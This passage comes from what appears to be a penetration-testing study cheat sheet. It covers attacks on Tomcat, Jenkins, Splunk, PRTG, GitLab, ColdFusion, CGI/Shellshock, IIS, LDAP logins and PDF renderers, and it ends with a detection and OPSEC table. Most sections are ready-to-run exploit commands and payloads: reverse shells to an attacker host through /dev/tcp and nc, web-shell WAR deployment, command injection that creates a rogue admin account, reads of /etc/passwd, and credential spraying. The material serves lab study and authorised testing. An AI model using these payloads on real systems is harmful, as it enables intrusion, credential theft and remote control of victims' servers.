   1865 > - Drupalgeddon3 needs a valid `drupal_session` cookie **and** node-delete permission on the referenced `DRUPAL_NODE`.
   1866 > - PoC scripts are Python 2 / EOL — prefer the Metasploit modules to avoid a legacy interpreter.
   1867 
   1868 ---
   1869 
   1870 #### Tomcat → /manager WAR deploy (msfvenom war)
   1871 
   1872 **What to look for** → `Server: Apache Tomcat`, `/docs` default page, `/manager` + `/host-manager` (302), AJP on `:8009`. WAR deploy needs the `manager-gui`/`manager-script` role.
   1873 
   1874 **Enumerate**
   1875 ```bash
   1876 curl -s http://$IP:8080/docs/ | grep Tomcat            # version via /docs or Server header
   1877 feroxbuster -u http://$IP:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
   1878 # brute manager (msf ships tomcat_mgr_default wordlists: tomcat:tomcat, admin:admin, tomcat:s3cret...)
   1879 msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS $IP; set RPORT 8080; set stop_on_success true; run"
   1880 ```
   1881 
   1882 **Exploit / Attack**
   1883 ```bash
   1884 # hand-rolled: WAR = zip. wrap the staged JSP web shell (attachments/rp-shell.jsp), deploy via Manager GUI
   1885 cp attachments/rp-shell.jsp cmd.jsp
   1886 zip -r backup.war cmd.jsp
   1887 # Manager -> Browse backup.war -> Deploy
   1888 curl "http://$IP:8080/backup/cmd.jsp?cmd=id"
   1889 
   1890 # interactive: msfvenom reverse-shell WAR (skip the web shell)
   1891 msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war
   1892 # or fully automate deploy+shell once creds are known:
   1893 msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS $IP; set RPORT 8080; set HttpUsername tomcat; set HttpPassword admin; set LHOST $LHOST; run"
   1894 
   1895 # Ghostcat unauth AJP LFI (Tomcat <9.0.31/8.5.51/7.0.100) — reads files UNDER webapps/ only
   1896 python2.7 tomcat-ajp.lfi.py $IP -p 8009 -f WEB-INF/web.xml
   1897 
   1898 # CVE-2019-0232 CGI cmd-inject (Windows Tomcat, enableCmdLineArguments) — URL-encode : and \
   1899 ffuf -w /usr/share/dirb/wordlists/common.txt -u http://$IP:8080/cgi/FUZZ.bat
   1900 curl "http://$IP:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe"
   1901 ```
   1902 
   1903 > [!warning] Watch out
   1904 > - Deployed WAR app lives at `/<archive-name-without-.war>/` — miss that and you'll 404 your own shell. **Undeploy** it after use.
   1905 > - Manager creds go as HTTP Basic (`Authorization: Basic <b64 user:pass>`) — `echo <b64> | base64 -d` to read them off the wire.
   1906 > - Ghostcat is scoped to `webapps/` — it's config/route leakage (`WEB-INF/web.xml`), **not** arbitrary filesystem read.
   1907 
   1908 ---
   1909 
   1910 #### Jenkins → Groovy Script Console RCE
   1911 
   1912 **What to look for** → Jenkins login page on `:8080`, `/script` console. Check **anonymous read/build** first — misconfigured anon JOB-create/BUILD rights is more common than a legacy CVE.
   1913 
   1914 **Enumerate**
   1915 ```bash
   1916 curl -s http://$IP:8080/login | grep -i jenkins
   1917 # /script is reachable once authenticated (even weakly) OR if anon perms are misconfigured
   1918 ```
   1919 
   1920 **Exploit / Attack — Manage Jenkins → Script Console, paste Groovy**
   1921 ```groovy
   1922 // run a single command
   1923 def sout = new StringBuffer(), serr = new StringBuffer()
   1924 def proc = 'id'.execute()
   1925 proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println sout
   1926 
   1927 // reverse shell (Linux) — raw process array avoids Groovy quoting hell
   1928 r = Runtime.getRuntime()
   1929 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/$LHOST/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
   1930 p.waitFor()
   1931 
   1932 // Windows
   1933 println("cmd.exe /c dir".execute().text)
   1934 ```
   1935 ```bash
   1936 nc -lvnp 8443
   1937 ```
   1938 
   1939 > [!warning] Watch out
   1940 > - Jenkins commonly runs as `root`/`SYSTEM` → this console shell is an immediate privileged foothold, no local priv-esc.
   1941 > - The chained CVE-2018-1999002 + CVE-2019-1003000 sandbox-bypass pre-auth RCE was fixed by LTS 2.303.1 — confirm the version before relying on it; treat as historical.
   1942 
   1943 ---
   1944 
   1945 #### Splunk → custom app scripted-input reverse shell
   1946 
   1947 **What to look for** → `Splunkd httpd` on `:8000` (web) + `:8089` (mgmt). No CVE needed — abuse built-in scripted inputs. Expired Enterprise **trial silently drops to auth-free Free edition after 60 days**.
   1948 
   1949 **Enumerate**
   1950 ```bash
   1951 nmap -sV -p 8000,8089 $IP        # both "Splunkd httpd" = definitive
   1952 # try admin:changeme (older default, shown on login page), then admin/Welcome1/Password123
   1953 ```
   1954 
   1955 **Exploit / Attack — build & upload a malicious app**
   1956 ```bash
   1957 mkdir -p splunk_shell/bin splunk_shell/default
   1958 # default/inputs.conf  (interval is MANDATORY or it never fires)
   1959 cat > splunk_shell/default/inputs.conf <<'EOF'
   1960 [script://./bin/rev.py]
   1961 disabled = 0
   1962 sourcetype = shell
   1963 interval = 10
   1964 EOF
   1965 # bin/rev.py  (Linux — every full Splunk ships Python) OR run.bat+.ps1 for Windows:
   1966 #   PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
   1967 tar -cvzf updater.tar.gz splunk_shell/
   1968 nc -lvnp 443
   1969 # Manage Apps -> Install app from file -> updater.tar.gz -> Upload  (fires within `interval` s)
   1970 ```
   1971 
   1972 > [!warning] Watch out
   1973 > - App is enabled the instant it uploads — listener up **first**. Shell runs as the Splunk service account (often `SYSTEM`/`root`).
   1974 > - Compromised **deployment server**? Drop the app in `$SPLUNK_HOME/etc/deployment-apps` → RCE on every Universal Forwarder that checks in. Forwarders lack Python → use a PowerShell scripted input in a Windows fleet.
   1975 
   1976 ---
   1977 
   1978 #### PRTG → CVE-2018-9276 notification command injection
   1979 
   1980 **What to look for** → `Indy httpd … Paessler PRTG bandwidth monitor` on `:8080`. Default `prtgadmin:prtgadmin` is often pre-filled and unchanged. Vulnerable < 18.2.39.
   1981 
   1982 **Enumerate**
   1983 ```bash
   1984 nmap -sV -p- --open -T4 $IP
   1985 curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep -i version
   1986 ```
   1987 
   1988 **Exploit / Attack (authenticated, blind)**
   1989 ```text
   1990 Setup -> Account Settings -> Notifications -> Add new notification
   1991   Tick EXECUTE PROGRAM
   1992   Program File: Demo exe notification - outfile.ps1
   1993   Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
   1994 Save -> click Test
   1995 ```
   1996 ```bash
   1997 # confirm out-of-band (blind inject = no UI feedback)
   1998 nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!'      # (Pwn3d!) = local admin
   1999 ```
   2000 
   2001 > [!warning] Watch out
   2002 > - The `Parameter` field is concatenated unsanitised into a PowerShell call — the `;` chains your command. It's **blind**: confirm via a listener or the new admin account, PRTG shows nothing.
   2003 > - Scheduling the notification (vs Test) doubles as persistence. Prefer a reverse shell over `net user` on a real engagement to cut footprint.
   2004 
   2005 ---
   2006 
   2007 #### osTicket / helpdesk → email harvest + credential reuse (methodology)
   2008 
   2009 **What to look for** → `OSTSESSID` cookie, "powered by osTicket" footer. Nmap only sees the webserver, not the app. Few CVEs — this is a **process** attack (the HTB Delivery pattern), applies to Zendesk/Freshdesk/Jira SD too.
   2010 
   2011 **Attack chain**
   2012 ```text
   2013 1) Submit a support ticket -> you're handed a real company reply-to email (e.g. 1234567@osticket.inlanefreight.local)
   2014 2) Use that verified address to self-register on OTHER exposed portals (Mattermost, GitLab, Rocket.Chat)
   2015 3) Cross-ref the email domain against breach data:
   2016       python3 dehashed.py -q inlanefreight.local -p
   2017 4) Try leaked creds on the portal login (email AND username — kevin@… may work where kgrimes doesn't)
   2018 5) Read closed tickets: password resets, VPN issues, "standard new-joiner password" -> spray other services
   2019 ```
   2020 
   2021 > [!tip] Address-book export = ready-made spray list
   2022 > Export the helpdesk contact/address book in full — it's a validated username/email list. Build spray targets from employee names with `linkedin2username`. A "standard new joiner password" mentioned in a ticket is a strong spray candidate if policy doesn't force a change at first login.
   2023 
   2024 ---
   2025 
   2026 #### GitLab → self-register → repo secrets / ExifTool RCE
   2027 
   2028 **What to look for** → GitLab login/logo; `/explore` lists **public** projects with no auth; version only shows on `/help` post-auth. Highest-value first check: is self-registration on?
   2029 
   2030 **Enumerate**
   2031 ```bash
   2032 # public source/secrets before you even have an account
   2033 curl -s http://$IP:8081/explore
   2034 # username enum via registration oracle ("Email has already been taken") — works even if signup is disabled
   2035 ./gitlab_userenum.sh --url http://$IP:8081/ --userlist users.txt   # or the maintained py3 port
   2036 ```
   2037 
   2038 **Exploit / Attack**
   2039 ```bash
   2040 # register (hacker:Welcome1) -> browse /explore for internal projects -> mine repos/commits/snippets for:
   2041 #   hardcoded creds, committed SSH private keys, infra config
   2042 # authenticated RCE, CE <= 13.10.2 (ExifTool image-metadata parsing) -> shell as git
   2043 python3 gitlab_13_10_2_rce.py -t http://$IP:8081 -u mrb3n -p password1 \
   2044   -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 8443 >/tmp/f'
   2045 nc -lvnp 8443
   2046 ```
   2047 
   2048 > [!warning] Watch out
   2049 > - GitLab lockout = **10 failed attempts, 10-min auto-unlock**, not UI-configurable — pace credential attacks across the user list to avoid locking real accounts.
   2050 > - Confirm the exact CE/EE build: CVE-2021-22205 is the *unauth* ExifTool RCE in a slightly later range — different exploit, different version gate.
   2051 
   2052 ---
   2053 
   2054 #### ColdFusion → dir-traversal creds / FCKeditor unauth RCE
   2055 
   2056 **What to look for** → port `:8500`, `.cfm`/`.cfc` extensions, `/CFIDE/administrator/`, `Server: ColdFusion`/`X-Powered-By: ColdFusion`. Both CVEs are CF 8/9-era.
   2057 
   2058 **Enumerate**
   2059 ```bash
   2060 nmap -p- -sC -Pn $IP --open           # 8500/tcp fmtp + CFIDE/cfdocs in webroot = ColdFusion
   2061 # browse http://$IP:8500/CFIDE/administrator  -> version in page title/source
   2062 searchsploit adobe coldfusion
   2063 ```
   2064 
   2065 **Exploit / Attack**
   2066 ```bash
   2067 # CVE-2010-2861 dir-trav (<=9.0.1) -> leak encrypted datasource creds
   2068 python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties"
   2069 
   2070 # CVE-2009-2265 FCKeditor unauth file-upload RCE (<=8.0.1) -> JSP payload, ColdFusion-service shell
   2071 python3 50057.py        # sets lhost/lport/rhost/rport, uploads JSP, triggers, self-cleans
   2072 ```
   2073 
   2074 > [!warning] Watch out
   2075 > - `password.properties` values are **encrypted**, not plaintext — still high-value (every datasource: DB, mail, LDAP), but you'll need to crack/decrypt.
   2076 > - FCKeditor connector path: `/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm` — check it on any legacy CF regardless of the CVE number.
   2077 
   2078 ---
   2079 
   2080 #### CGI / Shellshock (CVE-2014-6271) → User-Agent RCE
   2081 
   2082 **What to look for** → a `cgi-bin/` dir with `.cgi`/`.sh`/`.pl` scripts. A `200` with **zero-length body** is still worth testing. Persists on embedded/IoT gear.
   2083 
   2084 **Enumerate**
   2085 ```bash
   2086 feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi,sh,pl
   2087 # local bash sanity check for the bug shape:
   2088 env y='() { :;}; echo vuln' bash -c "echo test"    # prints 'vuln' on a vulnerable bash
   2089 ```
   2090 
   2091 **Exploit / Attack — inject via the `User-Agent` header**
   2092 ```bash
   2093 # confirm (two echoes = clean HTTP separator before output)
   2094 curl -H 'User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd' http://$IP/cgi-bin/access.cgi
   2095 # reverse shell
   2096 curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/7777 0>&1' http://$IP/cgi-bin/access.cgi
   2097 nc -lvnp 7777
   2098 ```
   2099 
   2100 > [!warning] Watch out
   2101 > - Any header CGI maps into an env var is an injection point — `User-Agent` is classic, but `Referer` and `Cookie` work too.
   2102 > - Patched bash prefixes function definitions with `BASH_FUNC_`, breaking the exploit — one request confirms/denies, cheap to test on every `cgi-bin`.
   2103 
   2104 ---
   2105 
   2106 #### IIS short-name (`~`) tilde enumeration
   2107 
   2108 **What to look for** → `Microsoft IIS httpd` (7.5/8.x era). Vulnerability depends on **config**, not just version — always run the scanner's own check. Turns "guess the full filename" into "reconstruct 8 chars at a time".
   2109 
   2110 **Enumerate → recover**
   2111 ```bash
   2112 nmap -p- -sV -sC --open $IP           # confirm IIS
   2113 java -jar iis_shortname_scanner.jar 0 5 http://$IP/   # reports Vulnerable + partial names (TRANSF~1.ASP)
   2114 # build a targeted wordlist from the partial short name, then fuzz full name + real extension
   2115 egrep -rh '^transf' /usr/share/wordlists/* | sort -u > /tmp/list.txt
   2116 feroxbuster -u http://$IP/ -w /tmp/list.txt -t 50 -x aspx,asp
   2117 ```
   2118 
   2119 > [!tip] Why it's worth the setup
   2120 > Some recovered names resolve whole (`CSASPX~1.CS`); others (`TRANSF~1.ASP`) only give a 6-char prefix + extension — the wordlist-narrowing pass recovers the rest. It's the difference between brute-forcing every filename vs only words starting `transf`. Needs Oracle Java for the `.jar`; the `0 5` args tune threads (Enter to skip proxy).
   2121 
   2122 ---
   2123 
   2124 #### LDAP-backed login → wildcard injection + mass assignment
   2125 
   2126 **What to look for** → `389`/`636` open **beside** a web login form = likely LDAP-backed auth (not a SQL user table). Injection mirrors SQLi: `*` = any-chars, `()` group, `&`/`|` logic.
   2127 
   2128 **Enumerate**
   2129 ```bash
   2130 nmap -p- -sC -sV --open --min-rate=1000 $IP     # 389 ldap OpenLDAP next to 80 http = strong signal
   2131 # query directly if you have a bind DN:
   2132 ldapsearch -H ldap://$IP:389 -D "cn=admin,dc=example,dc=com" -w secret -b "dc=example,dc=com" "(objectClass=*)"
   2133 ```
   2134 
   2135 **Exploit / Attack**
   2136 ```text
   2137 # LDAP injection auth-bypass — filter (&(objectClass=user)(sAMAccountName=$u)(userPassword=$p)) becomes all-true
   2138 Username: *
   2139 Password: *
   2140 
   2141 # Mass assignment — add a field the form never exposed to flip a privilege/approval flag
   2142 POST /register
   2143 username=new&password=test&confirmed=test        # existence-only check -> bypass admin approval
   2144 # Rails equivalent: smuggle  user[admin]=true  into the params hash the controller doesn't strip
   2145 ```
   2146 
   2147 > [!warning] Watch out
   2148 > - Both are best confirmed by **reading source** — black-box guessing is far less reliable. Look for `include()`-style string concat into the LDAP filter, or `attr_accessible`/over-broad `permit!` in Rails.
   2149 > - LDAP special chars that don't URL-encode cleanly can break the filter — test `*` alone first, then build up `(cn=*)`/`(objectClass=*)`.
   2150 
   2151 ---
   2152 
   2153 ### 🧩 More Web Classes — PDF-Renderer SSRF · Thick Clients · Mass-Assignment · Helpdesk OSINT
   2154 
   2155 The CPTS/AEN web classes the automated scanners miss. Each is a distinct pattern worth recognising on sight.
   2156 
   2157 #### Server-side HTML→PDF renderer → SSRF / local file read
   2158 
   2159 **What to look for** → a feature that renders *your* input into a server-generated PDF/preview (invoices, tracking numbers, reports). If a `wkhtmltopdf`-class engine parses HTML **and executes JS server-side**, your input runs on the renderer host — not the victim's browser (distinct from stored XSS).
   2160 
   2161 **Exploit — prove it in stages**
   2162 ```html
   2163 <h1>test</h1>                                          <!-- 1. HTML parsed? -->
   2164 <script>document.write('JS-EXECUTED')</script>          <!-- 2. JS runs on the server's PDF worker? -->
   2165 <script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd',false);x.send();document.write(x.responseText)</script>
   2166 <script>x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:8080/',false);x.send();document.write(x.responseText)</script>  <!-- internal SSRF -->
   2167 ```
   2168 > [!warning] Watch out — code executes in the server's PDF worker, so `file://` reads *server* files and `http://127.0.0.1` hits *internal* services. Full staged PoC: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet.
   2169 
   2170 #### Thick-client / fat-client apps (binary RE for creds)
   2171 
   2172 **What to look for** → a downloadable `.exe`/`.jar` desktop client. Framework first (`file client.exe`, PE header, `.NET,Version=v4.0` string), then decompile — hardcoded creds / DB connection strings are the payoff (the Multimaster pattern).
   2173 ```bash
   2174 file thickclient.exe; strings64 thickclient.exe | grep -iE 'password|connectionstring|server='
   2175 # .NET → dnSpyEx (maintained dnSpy fork) + de4dot to deobfuscate; IL decompiles to near-original C#
   2176 # Java → jd-gui / jadx-gui client.jar ; patch a class → javac -cp client.jar Patched.java
   2177 # runtime: Sysinternals Procmon (file/registry), Frida (hook without full static), Wireshark/Burp on the TCP channel
   2178 ```
   2179 > [!tip] Three-tier thick clients still hit a backend DB directly → test the extracted connection for **SQLi and path traversal**. Deep dives: 12 - Attacking Thick Client Applications · 16 - Attacking Applications Connecting to Services.
   2180 
   2181 #### More app targets + the transferable method
   2182 
   2183 **The method IS the payload** (works on any product): **fingerprint** exact version/stack → **try default/weak creds** → **search CVEs for that exact version** → and regardless of CVE, **abuse legitimate built-in functionality** (script consoles, template/theme editors, custom-app upload, "run program" notification actions). Targets beyond the main table:
   2184 
   2185 | App | Quick win |
   2186 | :-- | :-- |
   2187 | Axis2 | default admin → upload malicious `.aar` service = web shell (Tomcat-WAR analogue) |
   2188 | WebSphere | `system:manager` → deploy WAR → RCE |
   2189 | Nagios XI | default `nagiosadmin:PASSW0RD`; multiple RCE/SQLi CVEs |
   2190 | Zabbix | built-in API abused for RCE (HTB Zipper) |
   2191 | WebLogic | Java-deserialization unauth RCE (190+ CVEs) |
   2192 | Elasticsearch | forgotten unauth instance (HTB Haystack) |
   2193 | vCenter | CVE-2021-22005 unauth OVA-upload RCE — often runs as SYSTEM/DA |
   2194 | DotNetNuke (DNN) | cleartext admin creds in `web.config` → SQL-console RCE |
   2195 
   2196 Deep dive: 17 - Other Notable Applications and Application Hardening.
   2197 
   2198 #### Helpdesk / ticketing OSINT chain (osTicket-style)
   2199 
   2200 **What to look for** → a support portal (`OSTSESSID` cookie, "Powered by osTicket" footer). Not a CVE — a human-error chain: submit a ticket → harvest the real assigned reply-to **company email** → self-register that verified address on other exposed services (GitLab/Mattermost/Slack) → read closed tickets for password resets / "standard new-joiner password" → export the address book as a username list → controlled spray against VPN/email/AD.
   2201 > [!tip] Login pages that accept **email OR username** — try both (`kevin@corp.local` succeeded where `kgrimes` failed). This is the HTB Delivery pattern; generalises to Zendesk/Freshdesk/Jira Service Desk. Deep dive: 9 - Attacking osTicket.
   2202 
   2203 #### Mass-assignment / autobinding parameter tampering
   2204 
   2205 **What to look for** → a framework that blanket-binds the whole request body to a model. Add parameters that were never on the form so it sets fields it shouldn't.
   2206 ```http
   2207 POST /register            username=me&password=x&confirmed=1          # bypasses admin-approval (key present = enough)
   2208 POST /register            username=me&password=x&role=admin           # or is_admin=1 / credit=
   2209                           user[admin]=true                            # Rails-style nested param hash
   2210 ```
   2211 > [!tip] Find candidate fields by reading responses/JSON and reflecting them back into write requests. Deep dive: 15 - LDAP and Web Mass Assignment Vulnerabilities.
   2212 
   2213 ---
   2214 
   2215 ### 🥷 Detection & OPSEC summary (per technique)
   2216 
   2217 | Technique | What defenders see | Mitigation / cleanup |
   2218 |---|---|---|
   2219 | ffuf/feroxbuster/gobuster | thousands of 404s, scanner UA, request-rate anomaly | tune `-t`/`-rate`, `-H` UA spoof, scope wordlists; expected noise on labs |
   2220 | nikto | its UA and `/nikto-test`-style probes are signatured | spoof `-useragent`, narrow `-Tuning` |
   2221 | nuclei | template paths + OAST callbacks to public interact servers | `-rl` rate-limit, `-ni` on isolated nets, scope tags/severity |
   2222 | sqlmap | `sqlmap/x.x` UA, long UNION/time payloads in logs, `--risk=3` may **modify data** | `--random-agent`, lowest working level/risk, never `--os-shell` without authorization to touch disk |
   2223 | hydra/medusa | auth-failure bursts, account lockouts, SIEM impossible-travel | spray breadth-first, throttle, `-f` stop-on-success |
   2224 | file upload | new file in webroot (FIM tripwire), AV/EDR webshell signatures | random name, obfuscated param, **delete when done** |
   2225 | webshell use | requests to a never-linked path; `cmd=` in logs | password-gate, POST over GET, HTTPS target preferred, remove artifact |
   2226 | log/session poisoning | your PHP payload written into access.log / session files | last-resort technique; poisoned logs persist — note it in the report |
   2227 | SSRF/gopher/OOB | egress to internal services and attacker infra | use only your own callback infra; document every internal host touched |
   2228 | XSS cookie theft | outbound request from victim browser to your collector | HTTPS collector on HTTPS targets; the callback domain is in the victim's browser log |
   2229 
   2230 > [!warning] Reporting duty
   2231 > Every webshell, poisoned log, created account (PRTG `net user`, Drupal rogue admin) and uploaded file is an **artifact you must list in the report and remove**. The vault's reporting toolchain notes live in [00 - Attack Flow Dashboard](/sheets/pentest-workflow/attack-flow-dashboard); webshell removal and transfer cleanup pair with [04 - Foothold Toolkit - File Transfers](/sheets/pentest-workflow/foothold-file-transfers) and [05 - Foothold Toolkit - Shells Payloads and Metasploit](/sheets/pentest-workflow/foothold-shells-payloads-metasploit).
   2232 
   2233 **MITRE ATT&CK anchors used in this note:** TA0043 Recon ([T1595.002](https://attack.mitre.org/techniques/T1595/002/)) · T1190 Exploit Public-Facing Application · T1078 Valid Accounts (default creds) · T1110 Brute Force · T1552 Unsecured Credentials (source leaks) · T1059 Command and Scripting Interpreter (webshells) · T1505.003 Web Shell.
   2234 
   2235 ---
   2236 
   2237 > [!navigation] Continue the attack flow
   2238 > **Previous:** [Stage 01 — Recon and Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery)
   2239 >
   2240 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
   2241 >
   2242 > **Next:** [Foothold Toolkit — File Transfers](/sheets/pentest-workflow/foothold-file-transfers)